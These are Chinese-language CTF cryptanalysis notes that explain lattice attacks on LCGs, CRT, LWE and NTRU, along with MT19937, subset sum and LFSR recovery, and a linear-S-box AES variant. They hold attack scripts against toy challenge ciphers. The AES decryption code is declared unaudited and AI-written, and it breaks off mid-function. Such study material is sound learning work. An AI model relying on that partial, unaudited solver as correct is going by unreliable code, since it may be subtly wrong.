print(f"{ct = }")

加密:给你一个LCG连续输入的高位,这些高位不固定.给你a,b,m,你要尝试解出种子.
首先我们知道LCG的基本形式

$$x_i\equiv (a^ix_0+b(a^{i-1}+...a^0))\mod m$$

然后我们有

$$a^ix_0+k_im=(\mathtt{data[i]}<<(256-\mathtt{ns[i]}))-b(a^{i-1}+...+1)+\boxed{e_i}$$

所以我们对前半部分构造格:

$$\begin{bmatrix} m&&&&&\\ &m&&&&\\ &&...&&&\\ &&&m&&\\ a^0&a^1&...&a^{n-1}&1 \end{bmatrix}$$

这表示上式左边的线性关系.
然后右半部分构成一个向量:除了e的部分都是已知的,我们对e加上期望(也就是ns移位的一半),然后对这个矩阵和向量t求CVP,得到的再加上b就是完整的随机数的数列了,即

$$t=(xxx|2^{255})$$

t左边就是矩阵上面那个式子的右半部分,最后那个是你期望得到的那个随机数变量,他在 $[0,2^{256})$ 内均匀分布,期望是 $2^{255}$

notice1: 尝试使用更优的BKZ,而不是LLL(虽然理论上时间会更长)

ns =
data = 
ct =
b=
m=2**256
n=len(data)
mat=[]
for i in range(n):
	tmp=[]
	for j in range(n+1):
		if i==j:
			tmp.append(m)
		else:
			tmp.append(0)
	mat.append(tmp)
tmp=[]
pre=1
for i in range(n):
	tmp.append(pre)
	pre=pre*a%m
tmp.append(1)
mat.append(tmp)

pre=0
ex=[]
for i in range(n):
	ex.append((((data[i]<<(256-ns[i]))-b*pre))%m)
	pre=(pre+pow(a,i,m))%m
ex.append(1<<256)

_ctx_reduction.set(BKZ)		# 用BKZ
res=cvp(matrix(ZZ,mat),vector(ZZ,ex))
print(res)

中国剩余定理选色问题

pbits = 360
nbits = 3840
n = 16
primes = [getPrime(pbits) for _ in range(n)]
secrets = [getRandomNBitInteger(nbits) for _ in range(n)]
secrets.sort()
data = []
for p in primes:
    tmp = [s % p for s in secrets]
    random.shuffle(tmp)
    data.append(tmp)
def encrypt(pt, secrets):
    return bytes(x ^ y for x, y in zip(pt, hashlib.sha512(str(list(secrets)).encode()).digest()))
ct = encrypt(flag, secrets)
with open("output.txt", "w") as f:
    print(f"{primes = }", file = f)
    print(f"{data = }", file = f)
    print(f"{ct = }", file = f)

上面的意思是,随机secret个数字,然后给模意义下的剩余,最后打乱,你要尝试还原这个数组.
(由中国剩余定理)假设有

$$\begin{cases} a\equiv a_1 \mod p_1\\ a\equiv a_2 \mod p_2\\ ...\\ a\equiv a_n \mod p_n\\ \end{cases}$$

设 $P=\prod p_i,P_i=P/p_i$ 那么根据中国剩余定理有:

$$a\equiv \left(\sum_{i=1}^na_iP_i(P_{i}^{-1}\mod p_i)\right)\mod P$$

发现对于每个a构成一个线性关系,我们构造一个格:

$$\begin{bmatrix} P\\ a_{11}p_1(P^{-1}\mod p_1)&\alpha\\ ...\\ a_{1n}p_1(P^{-1}\mod p_1)&&&\alpha\\ a_{21}p_2(P^{-1}\mod p_2)&&&&\alpha\\ ...\\ a_{nn}p_n(P^{-1}\mod p_n)&&&&&\alpha\\ \end{bmatrix}$$

然后对其使用LLL,得到的前n个解就是格为我们挑选出来的大小近似我们选取的alpha的值,所以根据加密时alpha是 $2^{3840}$ ,得到的结果也是近似alpha的值.
脚本就是纯写一个矩阵然后求LLL,非常简单,所以不在这里展示了.

注意 :Windows的SageMath 9.3 版本有一个锅,如果上述取逆元的脚本写成

bk.append((pi[i]*pow(pi[i],primes[i]-2,primes[i])))

是错的,得到的bk全是1,原因是pow运算在老版本的sage内会被自动放到整数环上进行,同时前面的数是int也会被自动同化为Zmod上,模数错了答案自然也就错了.
应该强制结果放到整数环上然后再乘.

op=ZZ(pow(pi[i],primes[i]-2,primes[i]))
bk.append((pi[i]*op))

在一个模 $\mathbb{F}_{2^8}=\mathbb{F}_2[x]/(X^8+X^4+X^3+X+1)$ 的环中求解线性方程组 Ax=b

# 定义有限域 F_{2^8}，使用给定的不可约多项式
F.<x> = GF(2^8, modulus=x^8 + x^4 + x^3 + x + 1)
# 定义矩阵 A 的整数条目
A_int = [
    [77, 217, 104, 173, 4, 170, 15],
    [155, 75, 159, 94, 26, 99, 161],
    [110, 36, 60, 7, 246, 103, 112],
    [17, 107, 178, 67, 6, 18, 117],
    [56, 17, 11, 205, 0, 189, 25],
    [162, 9, 180, 33, 52, 75, 127],
    [238, 56, 32, 110, 133, 95, 9]
]
# 定义向量 b 的整数条目
b_int = [12, 153, 112, 166, 90, 180, 223]

# 将矩阵 A 和向量 b 转换为有限域 F 中的元素
A_F = matrix(F, 7, 7, lambda i, j: F.fetch_int(A_int[i][j]))
b_F = vector(F, [F.fetch_int(x) for x in b_int])

# 求解线性方程组 A * x = b
x_F = A_F.solve_right(b_F)

# 将解向量 x 中的每个元素转换为整数表示
x_int = [el.integer_representation() for el in x_F]

模多项式似乎可以被理解为x位只能是1或0

整数环上的欠定方程组

n = 100
m = 40
f = os.urandom(n)
x_s = [random.randrange(-2**32, 2**32) for _ in range(m)]
y_s = []
for x in x_s:
    y_s.append(sum(f[i] * x**i for i in range(n)))
ct = AES.new(hashlib.sha256(f).digest(), AES.MODE_ECB).encrypt(pad(flag, 16))
print(f"{x_s = }")
print(f"{y_s = }")
print(f"{ct = }")

也就是下面的关系:

$$y_j = \sum\limits_{i=0}^{n-1} f_i x_j^i,\quad \forall j,\ 0\le j < m$$

将其写成矩阵的形式：

$$\begin{pmatrix} -1 & f_0 & f_1 & \cdots & f_{n-1} \end{pmatrix} \begin{pmatrix} y_0 & y_1 & \cdots & y_{m-1}\\ 1 & 1 & \cdots & 1\\ x_0 & x_1 & \cdots & x_{m-1}\\ \vdots & \vdots & \ddots & \vdots\\ x_0^{n-1} & x_1^{n-1} & \cdots & x_{m-1}^{n-1}\\ \end{pmatrix} = \begin{pmatrix} 0 & \cdots & 0 \end{pmatrix}$$

为了应用LLL,我们需要构造一个矩阵 $B$ ，其行向量张成一个格 $L(B)$ 。如果 $L(B)$ 中存在一个短向量 $\mathrm t$ ，且 $\mathrm t$ 显著短于 $L$ 中其他向量，那么根据LLL-reduced basis的性质，

$$\Vert \mathrm b_1\Vert \le \left(\frac{2}{\sqrt{4\delta-1}}\right)^{d-1}\cdot \lambda_1(L)$$

（其中$d$表示基向量组的秩）即我们有把握从输出中的第一个基向量取得$\mathrm t$。

在上式的基础上加以改进，

$$\begin{aligned} \left(\begin{array}{c|cccc} -1 & f_0 & f_1 & \cdots & f_{n-1} \end{array}\right) &\underbrace{\left(\begin{array}{cccc|c|cccc} y_0 & y_1 & \cdots & y_{m-1} & 1 &&&&\\ \hline 1 & 1 & \cdots & 1 & &1&&&\\ x_0 & x_1 & \cdots & x_{m-1} & &&1&&\\ \vdots & \vdots & \ddots & \vdots & &&&\ddots&\\ x_0^{n-1} & x_1^{n-1} & \cdots & x_{m-1}^{n-1} & &&&&1\\ \end{array}\right)}_{B}\\ &= \underbrace{\left(\begin{array}{cccc|c|cccc} 0 & 0 & \cdots & 0 & -1 & f_0 & f_1 & \cdots & f_{n-1} \end{array}\right)}_{\mathrm t} \end{aligned}$$

式中，$\mathrm t$就是一个短的向量。

为了保证$\mathrm t$的前$m+1$个分量为$0,\ 0,\ \cdots,\ 0,\ \pm 1$，我们可以将这几个分量适当地放大（乘上一个系数），这样一来原本不满足条件的$\mathrm t$就不容易被格基约化算法挑选出来。

$$B = \left(\begin{array}{cccc|c|cccc} \alpha\cdot y_0 & \alpha\cdot y_1 & \cdots & \alpha\cdot y_{m-1} & -\beta\cdot 1 &&&&\\ \hline \alpha\cdot 1 & \alpha\cdot 1 & \cdots & \alpha\cdot 1 & &1&&&\\ \alpha\cdot x_0 & \alpha\cdot x_1 & \cdots & \alpha\cdot x_{m-1} & &&1&&\\ \vdots & \vdots & \ddots & \vdots & &&&\ddots&\\ \alpha\cdot x_0^{n-1} & \alpha\cdot x_1^{n-1} & \cdots & \alpha\cdot x_{m-1}^{n-1} & &&&&1\\ \end{array}\right)$$

其中$\alpha$可以选取较大的数，如$2^{256}$；而$\beta$选取与$f_i$接近的数，如$2^7$、$2^8$。

直接构造这个矩阵即可,脚本略.

模意义下的欠定方程组

n = 100
m = 40
p = getPrime(32)
f = os.urandom(n)
x_s = [random.randrange(p) for _ in range(m)]
y_s = []
for x in x_s:
    y_s.append(sum(f[i] * x**i for i in range(n)) % p)
ct = AES.new(hashlib.sha256(f).digest(), AES.MODE_ECB).encrypt(pad(flag, 16))
print(f"{p = }")
print(f"{x_s = }")
print(f"{y_s = }")
print(f"{ct = }")

本题需要求解一个$\mathbb{F}_p$上的欠定（underdetermined）线性方程组。
考虑如下的线性关系：

$$y_j \equiv \sum\limits_{i=0}^{n-1} f_i x_j^i \pmod{p},\quad \forall j,\ 0\le j < m$$

即

$$y_j = k_jp + \sum\limits_{i=0}^{n-1} f_i x_j^i,\quad \forall j,\ 0\le j < m$$

与整数环类似，我们可以先构造一个梯形状的格矩阵。而考虑到本题中由模$p$操作引入的$k_jp$项，我们在梯形的上方添加这些项，将整个矩阵补全成一个下三角状（楔形）。

$$B = \left(\begin{array}{cccc|c|cccc} \alpha\cdot p&&&&&&&&\\ &\alpha\cdot p&&&&&&&\\ &&\ddots&&&&&&\\ &&&\alpha\cdot p&&&&&\\ \hline \alpha\cdot y_0 & \alpha\cdot y_1 & \cdots & \alpha\cdot y_{m-1} & -\beta\cdot 1 &&&&\\ \hline \alpha\cdot 1 & \alpha\cdot 1 & \cdots & \alpha\cdot 1 & &1&&&\\ \alpha\cdot x_0 & \alpha\cdot x_1 & \cdots & \alpha\cdot x_{m-1} & &&1&&\\ \vdots & \vdots & \ddots & \vdots & &&&\ddots&\\ \alpha\cdot x_0^{n-1} & \alpha\cdot x_1^{n-1} & \cdots & \alpha\cdot x_{m-1}^{n-1} & &&&&1\\ \end{array}\right)$$

容易计算

$$\det(B) = \alpha^m \beta p^m$$

我们期待的短向量$\mathrm t$为

$$\mathrm t = \left(\begin{array}{cccc|c|cccc} 0 & 0 & \cdots & 0 & \beta & f_0 & f_1 & \cdots & f_{n-1} \end{array}\right)$$ $$\Vert \mathrm t\Vert_2 < \sqrt{\beta^2 + n\cdot 2^{16}}$$

为了使

$$\Vert \mathrm t\Vert_2 = \lambda_1(L(B)) \le \left(\frac{2}{\sqrt{4\delta-1}}\right)^{\frac{n+m+1}{2}}\cdot (\det(B))^{\frac{1}{n+m+1}}$$

固定$\beta\approx 2^7$、$\delta\approx 0.99$，我们需要让$\alpha$尽可能地偏大。

人话:构造了一个矩阵,然后通过alpha和beta调参筛选出指定最短向量

LWE 容错学习问题 learning with errors problem

p = getPrime(128)
F = GF(p)
n = 40
m = 60
A = random_matrix(F, m, n)
s = random_vector(F, n)
e = random_vector(ZZ, m, x=-4, y=5).change_ring(F)
b = A*s + e
ct = AES.new(hashlib.sha256(str(list(s)).encode()).digest(), AES.MODE_ECB).encrypt(pad(flag, 16))
print(f"A = {list(A)}")
print(f"{b = }")
print(f"{p = }")
print(f"{n = }")
print(f"{m = }")
print(f"{ct = }")

假如说有 $\mathrm{As\equiv b}\mod p$ ,已知A和b的情况下我们可以直接solve_right()解决.
但是现在加上了随机误差,即公式变成 $\mathrm{As+e\equiv b}\mod p$ ,就不好搞了,这种问题被称作LWE问题.
首先根据前面的总结我们可以直接构造下面的格:($I_n$是n阶单位矩阵)

$$L_1 = \left( \begin{array}{ccc} \alpha\cdot p\mathrm I_m &&\\ \alpha\cdot \mathrm A^T & \mathrm I_n &\\ \alpha\cdot \mathrm b^T & & \beta\\ \end{array} \right)$$

$L_1$具有如下的短向量

$$\left(\begin{array}{ccc|c|c} k_1 & \cdots & k_m & -\mathrm s^T & 1 \end{array}\right) L_1 = \underbrace{\left( \begin{array}{c|c|c} \alpha\cdot \mathrm e^T & -\mathrm s^T & \beta \end{array} \right)}_{\mathrm t_1}$$

为了提高格基约化的质量，我们显然需要精心选择$\alpha$与$\beta$，使得$\mathrm t_1$分量的尺寸相近。
刚刚构造的$L_1$是一个$(m+n+1)\times (m+n+1)$维的矩阵。注意到$\mathrm s$本身并非短向量，我们可以考虑不在右侧用单位矩阵接收$\mathrm s$。通过初等行变换，我们可以将$\mathrm A^T$（$m>n$，一般$\operatorname{\text{rank}}({\mathrm A^T}) = n$）变换为如下的行阶梯形（row echelon form）。

$$\mathrm P\mathrm A^T \equiv \left(\begin{array}{c|c} \mathrm I_n & \mathrm A'^T_{n\times(m-n)} \end{array}\right) \pmod{p}$$

于是

$$\mathrm b^T - (\mathrm s^T\mathrm P^{-1})(\mathrm P \mathrm A^T) \equiv \mathrm e^T \pmod{p}$$

接下来考虑

$$L_2 = \left( \begin{array}{ccc} \mathrm I_n & \mathrm A'^T_{n\times(m-n)} & \\ & p\mathrm I_{m-n} & \\ \mathrm b(1,\cdots,n) & \mathrm b(n+1,\cdots,m) & \beta\\ \end{array} \right)$$

$L_2$中有短向量

$$\left(\begin{array}{ccc|ccc|c} -x_1 + k_1p & \cdots & -x_n + k_np & k_{n+1} & \cdots & k_m & 1 \end{array}\right) L_2 = \underbrace{\left(\begin{array}{c|c} \mathrm e^T & \beta \end{array}\right)}_{\mathrm t_2}$$

\noindent 其中$\mathrm s^T\mathrm P^{-1} \equiv (x_1, \cdots, x_n) \pmod{p}$。

我们需要$\beta$的尺寸与误差的尺寸相近。$L_2$的维数只有$(m+1)\times (m+1)$，通过$L_2$解决LWE问题的攻击方式称为原始攻击（primal attack）。
另外，不难发现当$m\le n$时通过格基约化是不可能求出$\mathrm e$的(因为LLL需要细长的矩阵)（假设$\mathrm A$、$\mathrm s$随机生成）。

神秘加密体系(NTRU)

def keygen(pbits, qbits):
    p = getPrime(pbits)
    q = getPrime(qbits)
    while True:
        a = getRandomNBitInteger(qbits//4) | 1
        b = getRandomNBitInteger(qbits//4) | 1
        if GCD(a, b) == 1:
            break
    h = a * pow(b, -1, q) % q
    pkey = (h, p, q, pbits, qbits)
    skey = (a, b, pkey)
    return pkey, skey
def encrypt(m, pkey):
    h, p, q, pbits, qbits = pkey
    r = getRandomNBitInteger(qbits//4-1)
    c = (p*h*r + m) % q
    return c
def decrypt(c, skey):
    a, b, (h, p, q, pbits, qbits) = skey
    mb = c*b % q % (p*a)
    if mb % b == 0:
        return mb // b
    else:
        raise ValueError
pkey, skey = keygen(2048, 4096)

把多项式环上的加密算法放到整数环上,可以被构造

$$\begin{bmatrix}q&0\\ h&1\end{bmatrix}$$

这个格,然后使用lll求出最短向量,答案大概率就是ab(噪音消下去了)

mt19937

有一个性质是,mt19937的状态只有624种,只需要知道连续的624个输入就能还原整个引擎.
内部实现类似”分块”,初始化种子之后进行一轮”twist”会产生624个新的可用随机数,然后输出时候再过一遍仿射变换.
这种引擎在密码学上是不安全的,因为输出的仿射变换是可逆的(用了xor运算),且twist操作只和i,i+1,(i+397)%624这三个数有关,也就是说,假设我们知道部分输出,也能逆向出部分引擎的状态.

还有就是,mt一次会输出32个数字,在py里面如果需要比如说只有8个数字,就会舍掉低位的;
如果需要50个数字,会先拼成64位,然后再舍.

子集和

时间复杂度 $O(n^3\log^2w)$ ,构造下面的格直接跑LLL然后取最上面最小的那个向量即可.

$$\begin{bmatrix}1&&&&a_1\\ &1&&&a_2\\ &&1&&a_3\\ ...&&...&&...\\ &&&...&-S \end{bmatrix}$$

原因是,自己和可以被视作是一个小的向量乘进原先的a矩阵,所以答案可以通过LLL求出来.

补充:经anon酱指正,子集和问题因为要限定向量最后的数字是1,而且限定前面的值全部是1或-1,所以有下面更强的格:

$$\begin{bmatrix}2&&&&a_1\\ &2&&&a_2\\ &&2&&...\\ ...&&...&2&a_n\\ 1&1&...&1&S \end{bmatrix}$$

也许能解一下,不然就只能带alpha然后各种调参了
hint:注意下面的格期望的变量是这个格式:(1,-1,1,-1,…,1,1,-1,-1,…,0)不是末尾-1的.

LFSR

class LFSR:
    def __init__(self, vec, mask):
        self.mask = mask
        self.vec  = vec
    def __next__(self):
        self.vec = self.vec[1:] + [sum(self.vec[i]&self.mask[i] for i in range(512)) & 1]
        return self.vec[-1]

生成脚本的大意是说,每次都会计算当前vec和mask与的和是不是奇数,然后丢掉最靠前的数字,把算出来的数字加到末尾.
只需要二倍mask和vec大小(他俩必须一样大)就能完整还原整个状态,即:

mat=[] # 构建的矩阵
mbt=[[],[],[]] # 答案矩阵,注意是很多行而不是一行
f=GF(2) # 因为奇偶要对2取模,所以在模2上进行
A=Matrix(f,mat)
B=Matrix(f,mbt)
x=A.solve_right(B)
print(x) # mask矩阵

下面是逆向还原状态的脚本,假如mask[0]==0那么mask还得顺推直到找到第一个mask是1的才行,到时候再改.

def inv(msk,vec,tar):
	res=0
	for i in range(0,511):
		res+=vec[i]&msk[i+1]
	res=res&1
	if res==tar:
		return 0
	elif msk[0]==1:
		return 1
	else:
		assert False

AES

以stupid box 1为例.
加密:

from secret import flag
from itertools import zip_longest
import os

pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))
xor = lambda a, b: bytes(aa ^ bb for aa, bb in zip_longest(a, b))

stupid_box = [
    0x00, 0x10, 0x60, 0x70, 0x40, 0x50, 0x20, 0x30, 0x81, 0x91, 0xe1, 0xf1, 0xc1, 0xd1, 0xa1, 0xb1,
    0x03, 0x13, 0x63, 0x73, 0x43, 0x53, 0x23, 0x33, 0x82, 0x92, 0xe2, 0xf2, 0xc2, 0xd2, 0xa2, 0xb2,
    0x07, 0x17, 0x67, 0x77, 0x47, 0x57, 0x27, 0x37, 0x86, 0x96, 0xe6, 0xf6, 0xc6, 0xd6, 0xa6, 0xb6,
    0x04, 0x14, 0x64, 0x74, 0x44, 0x54, 0x24, 0x34, 0x85, 0x95, 0xe5, 0xf5, 0xc5, 0xd5, 0xa5, 0xb5,
    0x06, 0x16, 0x66, 0x76, 0x46, 0x56, 0x26, 0x36, 0x87, 0x97, 0xe7, 0xf7, 0xc7, 0xd7, 0xa7, 0xb7,
    0x05, 0x15, 0x65, 0x75, 0x45, 0x55, 0x25, 0x35, 0x84, 0x94, 0xe4, 0xf4, 0xc4, 0xd4, 0xa4, 0xb4,
    0x01, 0x11, 0x61, 0x71, 0x41, 0x51, 0x21, 0x31, 0x80, 0x90, 0xe0, 0xf0, 0xc0, 0xd0, 0xa0, 0xb0,
    0x02, 0x12, 0x62, 0x72, 0x42, 0x52, 0x22, 0x32, 0x83, 0x93, 0xe3, 0xf3, 0xc3, 0xd3, 0xa3, 0xb3,
    0x0c, 0x1c, 0x6c, 0x7c, 0x4c, 0x5c, 0x2c, 0x3c, 0x8d, 0x9d, 0xed, 0xfd, 0xcd, 0xdd, 0xad, 0xbd,
    0x0f, 0x1f, 0x6f, 0x7f, 0x4f, 0x5f, 0x2f, 0x3f, 0x8e, 0x9e, 0xee, 0xfe, 0xce, 0xde, 0xae, 0xbe,
    0x0b, 0x1b, 0x6b, 0x7b, 0x4b, 0x5b, 0x2b, 0x3b, 0x8a, 0x9a, 0xea, 0xfa, 0xca, 0xda, 0xaa, 0xba,
    0x08, 0x18, 0x68, 0x78, 0x48, 0x58, 0x28, 0x38, 0x89, 0x99, 0xe9, 0xf9, 0xc9, 0xd9, 0xa9, 0xb9,
    0x0a, 0x1a, 0x6a, 0x7a, 0x4a, 0x5a, 0x2a, 0x3a, 0x8b, 0x9b, 0xeb, 0xfb, 0xcb, 0xdb, 0xab, 0xbb,
    0x09, 0x19, 0x69, 0x79, 0x49, 0x59, 0x29, 0x39, 0x88, 0x98, 0xe8, 0xf8, 0xc8, 0xd8, 0xa8, 0xb8,
    0x0d, 0x1d, 0x6d, 0x7d, 0x4d, 0x5d, 0x2d, 0x3d, 0x8c, 0x9c, 0xec, 0xfc, 0xcc, 0xdc, 0xac, 0xbc,
    0x0e, 0x1e, 0x6e, 0x7e, 0x4e, 0x5e, 0x2e, 0x3e, 0x8f, 0x9f, 0xef, 0xff, 0xcf, 0xdf, 0xaf, 0xbf
]
def shift_rows(m):
    return bytes([
        m[0x0], m[0x5], m[0xa], m[0xf],
        m[0x4], m[0x9], m[0xe], m[0x3],
        m[0x8], m[0xd], m[0x2], m[0x7],
        m[0xc], m[0x1], m[0x6], m[0xb]
    ])
def sub_bytes(m):
    return bytes(stupid_box[mm] for mm in m)
def mix_columns(m):
    def _gf_mul(a, b):
        c = 0
        d = a
        for bit in map(int, reversed(bin(b)[2:])):
            if bit:
                c ^= d
            d = d << 1
            if d & 0x100:
                d ^= 0x11b
        return c
    def _mix_column(col):
        return bytes([
            _gf_mul(col[0], 2) ^ _gf_mul(col[1], 3) ^ _gf_mul(col[2], 1) ^ _gf_mul(col[3], 1),
            _gf_mul(col[0], 1) ^ _gf_mul(col[1], 2) ^ _gf_mul(col[2], 3) ^ _gf_mul(col[3], 1),
            _gf_mul(col[0], 1) ^ _gf_mul(col[1], 1) ^ _gf_mul(col[2], 2) ^ _gf_mul(col[3], 3),
            _gf_mul(col[0], 3) ^ _gf_mul(col[1], 1) ^ _gf_mul(col[2], 1) ^ _gf_mul(col[3], 2)
        ])
    return bytes([
        *_mix_column(m[:4]),
        *_mix_column(m[4:8]),
        *_mix_column(m[8:12]),
        *_mix_column(m[12:16])
    ])
def add_round_key(m, k):
    return xor(m, k)
RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]
def key_schedule(k):
    assert len(k) == 16
    sub_keys = [k]
    for i in range(10):
        sub_key = bytes(
            stupid_box[w1] ^ w2 ^ rr
                for w1, w2, rr in zip(
                    sub_keys[-1][13:] + sub_keys[-1][12:13],
                    sub_keys[-1][:4],
                    (RCON[i], 0, 0, 0)
                )
        )
        for j in range(3):
            sub_key += xor(sub_keys[-1][4*j+4:4*j+8], sub_key[4*j:4*j+4])
        sub_keys.append(sub_key)
    return sub_keys
def encrypt(m, k):
    sub_keys = key_schedule(k)
    m = add_round_key(m, sub_keys[0])
    for i in range(9):
        m = sub_bytes(m)
        m = shift_rows(m)
        m = mix_columns(m)
        m = add_round_key(m, sub_keys[i+1])
    m = sub_bytes(m)
    m = shift_rows(m)
    m = add_round_key(m, sub_keys[10])
    return m
def encrypt_ecb(m, k):
    assert len(m) % 16 == 0 and len(k) == 16
    return b''.join(encrypt(m[i:i+16], k) for i in range(0, len(m), 16))
assert len(flag) % 16 == 0
key = os.urandom(16)
ct = encrypt_ecb(pad(flag), key)
print(f"{ct = }")

观察到:上面是一个标准的AES-128-ECB代码实现,唯一不同的是上面的S盒与标准的S盒有很大的不同,这可以成为攻击的起点:
经过一系列测试我们发现这个题目中的s盒有这个性质:假设s盒取址变换为f(x),那么有

$$f(x\,\mathrm{xor}\, y)=f(x)\,\mathrm{xor} \,f(y)$$

而且我们发现原始密文最后有一整个分块的已知明文(pad函数立大功),所以整个变换被理解为”线性的”,我们不必通过一堆轮密钥尝试反推k.
解密(ds写的,未经过审计):

from itertools import zip_longest
import os

pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))
xor = lambda a, b: bytes(aa ^ bb for aa, bb in zip_longest(a, b))

stupid_box = [
    0x00, 0x10, 0x60, 0x70, 0x40, 0x50, 0x20, 0x30, 0x81, 0x91, 0xe1, 0xf1, 0xc1, 0xd1, 0xa1, 0xb1,
    0x03, 0x13, 0x63, 0x73, 0x43, 0x53, 0x23, 0x33, 0x82, 0x92, 0xe2, 0xf2, 0xc2, 0xd2, 0xa2, 0xb2,
    0x07, 0x17, 0x67, 0x77, 0x47, 0x57, 0x27, 0x37, 0x86, 0x96, 0xe6, 0xf6, 0xc6, 0xd6, 0xa6, 0xb6,
    0x04, 0x14, 0x64, 0x74, 0x44, 0x54, 0x24, 0x34, 0x85, 0x95, 0xe5, 0xf5, 0xc5, 0xd5, 0xa5, 0xb5,
    0x06, 0x16, 0x66, 0x76, 0x46, 0x56, 0x26, 0x36, 0x87, 0x97, 0xe7, 0xf7, 0xc7, 0xd7, 0xa7, 0xb7,
    0x05, 0x15, 0x65, 0x75, 0x45, 0x55, 0x25, 0x35, 0x84, 0x94, 0xe4, 0xf4, 0xc4, 0xd4, 0xa4, 0xb4,
    0x01, 0x11, 0x61, 0x71, 0x41, 0x51, 0x21, 0x31, 0x80, 0x90, 0xe0, 0xf0, 0xc0, 0xd0, 0xa0, 0xb0,
    0x02, 0x12, 0x62, 0x72, 0x42, 0x52, 0x22, 0x32, 0x83, 0x93, 0xe3, 0xf3, 0xc3, 0xd3, 0xa3, 0xb3,
    0x0c, 0x1c, 0x6c, 0x7c, 0x4c, 0x5c, 0x2c, 0x3c, 0x8d, 0x9d, 0xed, 0xfd, 0xcd, 0xdd, 0xad, 0xbd,
    0x0f, 0x1f, 0x6f, 0x7f, 0x4f, 0x5f, 0x2f, 0x3f, 0x8e, 0x9e, 0xee, 0xfe, 0xce, 0xde, 0xae, 0xbe,
    0x0b, 0x1b, 0x6b, 0x7b, 0x4b, 0x5b, 0x2b, 0x3b, 0x8a, 0x9a, 0xea, 0xfa, 0xca, 0xda, 0xaa, 0xba,
    0x08, 0x18, 0x68, 0x78, 0x48, 0x58, 0x28, 0x38, 0x89, 0x99, 0xe9, 0xf9, 0xc9, 0xd9, 0xa9, 0xb9,
    0x0a, 0x1a, 0x6a, 0x7a, 0x4a, 0x5a, 0x2a, 0x3a, 0x8b, 0x9b, 0xeb, 0xfb, 0xcb, 0xdb, 0xab, 0xbb,
    0x09, 0x19, 0x69, 0x79, 0x49, 0x59, 0x29, 0x39, 0x88, 0x98, 0xe8, 0xf8, 0xc8, 0xd8, 0xa8, 0xb8,
    0x0d, 0x1d, 0x6d, 0x7d, 0x4d, 0x5d, 0x2d, 0x3d, 0x8c, 0x9c, 0xec, 0xfc, 0xcc, 0xdc, 0xac, 0xbc,
    0x0e, 0x1e, 0x6e, 0x7e, 0x4e, 0x5e, 0x2e, 0x3e, 0x8f, 0x9f, 0xef, 0xff, 0xcf, 0xdf, 0xaf, 0xbf
]

# 构建逆 S 盒
inv_stupid_box = [0] * 256
for idx, val in enumerate(stupid_box):
    inv_stupid_box[val] = idx

def shift_rows(m):
    return bytes([
        m[0x0], m[0x5], m[0xa], m[0xf],
        m[0x4], m[0x9], m[0xe], m[0x3],
        m[0x8], m[0xd], m[0x2], m[0x7],
        m[0xc], m[0x1], m[0x6], m[0xb]
    ])

def inv_shift_rows(m):
    return bytes([
        m[0x0], m[0xd], m[0xa], m[0x7],
        m[0x4], m[0x1], m[0xe], m[0xb],
        m[0x8], m[0x5], m[0x2], m[0xf],
        m[0xc], m[0x9], m[0x6], m[0x3]
    ])

def sub_bytes(m):
    return bytes(stupid_box[mm] for mm in m)

def inv_sub_bytes(m):
    return bytes(inv_stupid_box[mm] for mm in m)

def mix_columns(m):
    def _gf_mul(a, b):
        c = 0
        d = a
        for bit in map(int, reversed(bin(b)[2:])):
            if bit:
                c ^= d
            d = d << 1
            if d & 0x100:
                d ^= 0x11b
        return c
    def _mix_column(col):
        return bytes([
            _gf_mul(col[0], 2) ^ _gf_mul(col[1], 3) ^ _gf_mul(col[2], 1) ^ _gf_mul(col[3], 1),
            _gf_mul(col[0], 1) ^ _gf_mul(col[1], 2) ^ _gf_mul(col[2], 3) ^ _gf_mul(col[3], 1),
            _gf_mul(col[0], 1) ^ _gf_mul(col[1], 1) ^ _gf_mul(col[2], 2) ^ _gf_mul(col[3], 3),
            _gf_mul(col[0], 3) ^ _gf_mul(col[1], 1) ^ _gf_mul(col[2], 1) ^ _gf_mul(col[3], 2)
        ])
    return bytes([
        *_mix_column(m[:4]),
        *_mix_column(m[4:8]),
        *_mix_column(m[8:12]),
        *_mix_column(m[12:16])
    ])

def inv_mix_columns(m):
    def _gf_mul(a, b):
        c = 0
        d = a
        for bit in map(int, reversed(bin(b)[2:])):
            if bit:
                c ^= d
            d = d << 1
            if d & 0x100:
                d ^= 0x11b
        return c
    def _inv_mix_column(col):
        return bytes([
            _gf_mul(col[0], 14) ^ _gf_mul(col[1], 11) ^ _gf_mul(col[2], 13) ^ _gf_mul(col[3], 9),
            _gf_mul(col[0], 9)  ^ _gf_mul(col[1], 14) ^ _gf_mul(col[2], 11) ^ _gf_mul(col[3], 13),
            _gf_mul(col[0], 13) ^ _gf_mul(col[1], 9)  ^ _gf_mul(col[2], 14) ^ _gf_mul(col[3], 11),
            _gf_mul(col[0], 11) ^ _gf_mul(col[1], 13) ^ _gf_mul(col[2], 9)  ^ _gf_mul(col[3], 14)
        ])
    return bytes([
        *_inv_mix_column(m[:4]),
        *_inv_mix_column(m[4:8]),
        *_inv_mix_column(m[8:12]),
        *_inv_mix_column(m[12:16])
    ])

def add_round_key(m, k):
    return xor(m, k)

RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]

def key_schedule(k):
    assert len(k) == 16
    sub_keys = [k]
    for i in range(10):
        sub_key = bytes(
            stupid_box[w1] ^ w2 ^ rr
                for w1, w2, rr in zip(
                    sub_keys[-1][13:] + sub_keys[-1][12:13],
                    sub_keys[-1][:4],
                    (RCON[i], 0, 0, 0)
                )
        )
        for j in range(3):
            sub_key += xor(sub_keys[-1][4*j+4:4*j+8], sub_key[4*j:4*j+4])
        sub_keys.append(sub_key)
    return sub_keys

def encrypt(m, k):
    sub_keys = key_schedule(k)
    m = add_round_key(m, sub_keys[0])
    for i in range(9):
        m = sub_bytes(m)
        m = shift_rows(m)
        m = mix_columns(m)
        m = add_round_key(m, sub_keys[i+1])
    m = sub_bytes(m)
    m = shift_rows(m)
    m = add_round_key(m, sub_keys[10])
    return m

def decrypt(c, k):
    sub_keys = key_schedule(k)
    # 逆初始轮密钥加
    c = add_round_key(c, sub_keys[10])
    c = inv_shift_rows(c)
    c = inv_sub_bytes(c)
    for i in range(9, 0, -1):
        c = add_round_key(c, sub_keys[i])
        c = inv_mix_columns(c)
        c = inv_shift_rows(c)
        c = inv_sub_bytes(c)
